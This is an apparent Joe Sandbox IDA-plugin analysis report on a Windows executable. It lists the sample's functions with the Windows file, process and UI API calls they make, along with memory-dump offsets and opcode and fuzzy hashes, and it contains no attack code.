__scrt_initialize_crt.LIBCMT ref: 00007FF6063A654B

Part of subcall function 00007FF6063A5FC4: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF6063A5FE6

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF6063A6560
__scrt_release_startup_lock.LIBCMT ref: 00007FF6063A65CE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF6063A6621

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_initialize_crt__scrt_release_startup_lock
String ID:
API String ID: 1452418845-0
Opcode ID: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction ID: 30cec888d239690c4c22abe956a1a35a2fec473797a25c0b11d6c2b2a4b08fd7
Opcode Fuzzy Hash: 82ea77dc686828d8d4b6b6f5dd528249c478d0f7ec0ca3c5a3cf5b807b775c11
Instruction Fuzzy Hash: E2314F31E0C50385FE1CAB6595533B962919F42344F687438D64ECB2E7DE2FB805A2D5

Function 00007FF606385C60 Relevance: 6.1, APIs: 4, Instructions: 94COMMON

Download Yara Rule

APIs

CreateDirectoryW.KERNELBASE(?,?,?,?,?,?,?,00000000,?,00007FF606385671), ref: 00007FF606385CAA
CreateDirectoryW.KERNEL32 ref: 00007FF606385D0F
GetLastError.KERNEL32(?,?,?,?,?,?,?,00000000,?,00007FF606385671), ref: 00007FF606385D6D
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606385DAA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CreateDirectory$ErrorLast_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2359106489-0
Opcode ID: b1db56c0457af69a1529a8ecbfe86314167c05b0bf6f6c19be2aba948e3cdc26
Instruction ID: 8648a2523f9a96e13c23c6d419b6bb96127e5840f4e3b95c91bdf1c8ef901cf3
Opcode Fuzzy Hash: b1db56c0457af69a1529a8ecbfe86314167c05b0bf6f6c19be2aba948e3cdc26
Instruction Fuzzy Hash: 17311E22E1C74285EBA89B25A4481BD6351FF887B0F742231EE5DC36E5DF7DD4458680

Function 00007FF606384520 Relevance: 6.1, APIs: 4, Instructions: 58fileCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32 ref: 00007FF606384548
ReadFile.KERNELBASE ref: 00007FF606384567
GetLastError.KERNEL32 ref: 00007FF60638459B
GetLastError.KERNEL32 ref: 00007FF6063845BA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction ID: 8afc5a3ab93a097c94ef7d82e804e517fb2dd1852ce37dd0e12a03ce3f749131
Opcode Fuzzy Hash: 81b122369233d7b8f515bb11307ece11792f2ae8c3e4e6e271921b1ee2b41d44
Instruction Fuzzy Hash: 4521AA21E0CB4389EA289F11A40027D67D0FF45B94F346531DA5DC6EA6CFAED8458780

Function 00007FF60639D0A8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26comCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FF60638DC4C: GetSystemDirectoryW.KERNEL32 ref: 00007FF60638DCA3

OleInitialize.OLE32 ref: 00007FF60639D0C2
SHGetMalloc.SHELL32 ref: 00007FF60639D110

Strings

riched20.dll, xrefs: 00007FF60639D0B1

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: DirectoryInitializeMallocSystem
String ID: riched20.dll
API String ID: 174490985-3360196438
Opcode ID: 30ed311a49e238ceea73ca57b68d7366abba04754796603139c7fee8065bdde5
Instruction ID: e5323fc5200f61094219197d623b6a0de0ac400b528391af679bd628cd496ca1
Opcode Fuzzy Hash: 30ed311a49e238ceea73ca57b68d7366abba04754796603139c7fee8065bdde5
Instruction Fuzzy Hash: E9F06272A18B4182EB14DF20F8542AEB3A0FF84354F502135E58E82BA4EFBDD648CB50

Function 00007FF606384334 Relevance: 4.6, APIs: 3, Instructions: 114fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE ref: 00007FF6063843CF
CreateFileW.KERNEL32 ref: 00007FF60638443C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063844D8

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: CreateFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2272807158-0
Opcode ID: 6b8eb8b94387b8485b01743e86d2fb3528bffe900f4db4cb81d7376aef299a7b
Instruction ID: aae1c8fcd93cfad05bbaf935a99f5f9b8aac9acd13d1d727d0f107902f108c9e
Opcode Fuzzy Hash: 6b8eb8b94387b8485b01743e86d2fb3528bffe900f4db4cb81d7376aef299a7b
Instruction Fuzzy Hash: 0341D973A1878686EB148F15E4442A963A1FB847B4F206335DFAD83AE5CFBDD4A18740

Function 00007FF606381FF8 Relevance: 4.6, APIs: 3, Instructions: 73COMMON

Download Yara Rule

APIs

GetWindowTextLengthW.USER32 ref: 00007FF60638203E
GetWindowTextW.USER32 ref: 00007FF606382076
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606382105

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: TextWindow$Length_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2176759853-0
Opcode ID: 29206f03e8ea25254ece3d2a72832fd1ea84fd53fe3ace23c817ee81615a60be
Instruction ID: 881acb9524a3c4e0481d4d0da6f542ca8d20fcecf1ae60da2b4820f32d59586f
Opcode Fuzzy Hash: 29206f03e8ea25254ece3d2a72832fd1ea84fd53fe3ace23c817ee81615a60be
Instruction Fuzzy Hash: CA21B673A28B8581EA188B65E44016EB360FB89BE0F246335EBDD43B95DF7DD181C780

Function 00007FF606385FF4 Relevance: 4.6, APIs: 3, Instructions: 62COMMON

Download Yara Rule

APIs

SetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,00000001,?,00007FF60638FF75), ref: 00007FF60638601E
SetFileAttributesW.KERNEL32 ref: 00007FF606386070
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF6063860DA

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: b265933569970aa9f88eee972e8007fd8b91439cfa1828cb055f1fca20ce9a43
Instruction ID: c921d76990024cb3a2c6216f39333949edddb41f0e6da1d6cdf2966d17198bba
Opcode Fuzzy Hash: b265933569970aa9f88eee972e8007fd8b91439cfa1828cb055f1fca20ce9a43
Instruction Fuzzy Hash: 7B213A72B1CB8185EE248B24E44126DA360FF88B98F207230EB9EC26A4DF3DD540C784

Function 00007FF606385790 Relevance: 4.6, APIs: 3, Instructions: 59fileCOMMON

Download Yara Rule

APIs

DeleteFileW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF60638FFB6), ref: 00007FF6063857BB
DeleteFileW.KERNEL32 ref: 00007FF60638580B
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606385875

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: DeleteFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3118131910-0
Opcode ID: df95a73e4d643e9604293c38faa31d47468479eac191cd886206386da3b21c8e
Instruction ID: 5da8e8fefbf8024d8ecba02d688eb57d0fdc1c68e552dd886f9ae89dcfa5543e
Opcode Fuzzy Hash: df95a73e4d643e9604293c38faa31d47468479eac191cd886206386da3b21c8e
Instruction Fuzzy Hash: 2421B632B28B8181EE148B24E44416AA360FB84BE4F602235EBDEC26A9DF2DD541C780

Function 00007FF606385890 Relevance: 4.6, APIs: 3, Instructions: 57COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?,?,?,?,?,?,?,?,?,00007FF606385885,?,?,?,?,00007FF606390062), ref: 00007FF6063858BB
GetFileAttributesW.KERNELBASE ref: 00007FF606385908
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF60638596D

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: AttributesFile$_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1203560049-0
Opcode ID: ef92913312bb73a90d90e731208bb6c0704bd2d73e0e832659789265a95f0d3b
Instruction ID: dcdc5e88a02f1b2f4815ad5face6226e29a4041d6d7c791c87d81737f6dd517b
Opcode Fuzzy Hash: ef92913312bb73a90d90e731208bb6c0704bd2d73e0e832659789265a95f0d3b
Instruction Fuzzy Hash: 3F218672A18B8185EA549B28E444169B361FB887B4F602331EAEDC37A5DF7DD541C780

Function 00007FF6063AF444 Relevance: 4.5, APIs: 3, Instructions: 19COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF6063AF428), ref: 00007FF6063AF46C
TerminateProcess.KERNEL32(?,?,?,00007FF6063AF428), ref: 00007FF6063AF477
ExitProcess.KERNEL32 ref: 00007FF6063AF486

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction ID: 18a12aada3867cf96503330a273e4ab890f2acfb853567e321c015d0fd95b741
Opcode Fuzzy Hash: 0d5958cce1ab38587c529cfbb209ba956894e29a38315a5b4669c830f79dc8c5
Instruction Fuzzy Hash: 4CE0BF20B18B0686EF5C6B71AD8577923629F85741F24743CC95F87396CE3FA44982D0

Function 00007FF6063922E8 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 147COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606392323

Strings

vector too long, xrefs: 00007FF606392254

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: vector too long
API String ID: 3668304517-2873823879
Opcode ID: a7343eee3c490a039372984b75849d01cabdd3500f915569194afc0abc0bdd4f
Instruction ID: 3e3bf8e87bf2df44584defe43d36fe76dfceefa08a0f70486fe746f2671baec1
Opcode Fuzzy Hash: a7343eee3c490a039372984b75849d01cabdd3500f915569194afc0abc0bdd4f
Instruction Fuzzy Hash: 8861C472E18B8186E7089B60D8401AD77F4FB85758F206239EA8D87BA5DF7DD490CB90

Function 00007FF606396D28 Relevance: 3.2, APIs: 2, Instructions: 170COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606396FBF
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606396FC5

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID:
API String ID: 3668304517-0
Opcode ID: 456ef8ad5fd7c51842a77fc0017af3233e47992e66e1eb3dc404b7829346f65c
Instruction ID: 4f2dfd1b97fe646cefa2ab97e6f6dab4b708d61bf34cdfc8af3c85d8b9bad36f
Opcode Fuzzy Hash: 456ef8ad5fd7c51842a77fc0017af3233e47992e66e1eb3dc404b7829346f65c
Instruction Fuzzy Hash: E071A172F15A5285FE04DB64D8452AC23B6EF41BA8F602231EA2D977D9DE3EE441C390

Function 00007FF60638491C Relevance: 3.1, APIs: 2, Instructions: 100COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(00000000,00000002,?,?), ref: 00007FF606384A4D
GetLastError.KERNEL32(?,?), ref: 00007FF606384A5C

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction ID: 81788c1f83a52a3425fd251073f767a4ab39179c4c1e7189671a6a6e089ff0ad
Opcode Fuzzy Hash: afbb24ce4a808c86d9ab97423e5b5b7dbeb16d4b7f73d0bc2ed342d630b90402
Instruction Fuzzy Hash: 84310522B19B978AEE784B29D6406F863D0AF44BD4F342131DE1DC7FA5DE6EE4418380

Function 00007FF6063947F0 Relevance: 3.1, APIs: 2, Instructions: 86COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF606386288: FindClose.KERNELBASE(?,?,?,00007FF60638FFA5), ref: 00007FF6063862BD

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606394931
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606394937

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$CloseFind
String ID:
API String ID: 3587649625-0
Opcode ID: 78dcec84b2b2081ffdb456cee5bc94528ec2c7f435e71baf867d0267fc902a63
Instruction ID: d7c0e17de5c63463f21ce25db0885e871755b5432190c6577b3c3e819dc4cef8
Opcode Fuzzy Hash: 78dcec84b2b2081ffdb456cee5bc94528ec2c7f435e71baf867d0267fc902a63
Instruction Fuzzy Hash: 1A41C232F18B8589FB089B68D4413AC73A2EB443A8F206635DE5C93AD9DE7A9141C3D4

Function 00007FF606381EBC Relevance: 3.1, APIs: 2, Instructions: 83COMMON

Download Yara Rule

APIs

GetDlgItem.USER32 ref: 00007FF606381EF1
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 00007FF606381FF0

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: Item_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 1746051919-0
Opcode ID: a9e66eae6c10b7998c2c5de9bd97b12879dcbec8aef09866538b836a72d0f55b
Instruction ID: d73bdfaa09d7d4353eb31d8cdf40d7a2b39c890032985c4fc16e6aa648266151
Opcode Fuzzy Hash: a9e66eae6c10b7998c2c5de9bd97b12879dcbec8aef09866538b836a72d0f55b
Instruction Fuzzy Hash: 42310732A1874246EA188B15E4443ADB3A0FF947D0F646235EB9C87BE5DF7DE441C780

Function 00007FF606384C70 Relevance: 3.1, APIs: 2, Instructions: 76timeCOMMON

Download Yara Rule

APIs

FlushFileBuffers.KERNEL32 ref: 00007FF606384C9E
SetFileTime.KERNELBASE ref: 00007FF606384D3B

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: File$BuffersFlushTime
String ID:
API String ID: 1392018926-0
Opcode ID: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
Instruction ID: 13d20d1ff0de733521bd88692d1239112b06165209debdb874967098018987ba
Opcode Fuzzy Hash: 14d6942ec359b5a95a3eda4e56e7a82c4a9158dc0f228e60d57ace847166d981
Instruction Fuzzy Hash: 6621E562E4D74769EA69CB11D0003F557E4AF41794F656131DE4CC2BA3EEBED48AC380

Function 00007FF60638AEE0 Relevance: 3.1, APIs: 2, Instructions: 52COMMON

Download Yara Rule

APIs

LoadStringW.USER32 ref: 00007FF60638AF67
LoadStringW.USER32 ref: 00007FF60638AF80

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: LoadString
String ID:
API String ID: 2948472770-0
Opcode ID: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction ID: 82a6ae1515b694ab51fd16fbb1a3df288cbabbfea7d7c1216ae113dd5382f196
Opcode Fuzzy Hash: dedc9b699e454723cd5290fbfd2bbed97dba7cc30504e392eb1ac5c410963244
Instruction Fuzzy Hash: BA116D75B087418AEB089F1AB8401A877A1BB99FC0F64543ADE5CD3361EF7EE9518384

Function 00007FF606384D50 Relevance: 3.0, APIs: 2, Instructions: 47COMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE ref: 00007FF606384DB1
GetLastError.KERNEL32 ref: 00007FF606384DBE

Memory Dump Source

Source File: 00000000.00000002.2105841120.00007FF606381000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF606380000, based on PE: true

Associated: 00000000.00000002.2105818881.00007FF606380000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105885969.00007FF6063BB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063CD000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2105917030.00007FF6063D6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2106030102.00007FF6063EC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff606380000_#U0416#U0430#U0440#U043a#U043e#U0432#U0430 .jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: f476d2bfd4726034d9589a57a35db9820aa07498a5a105237817cbeb34648ff6
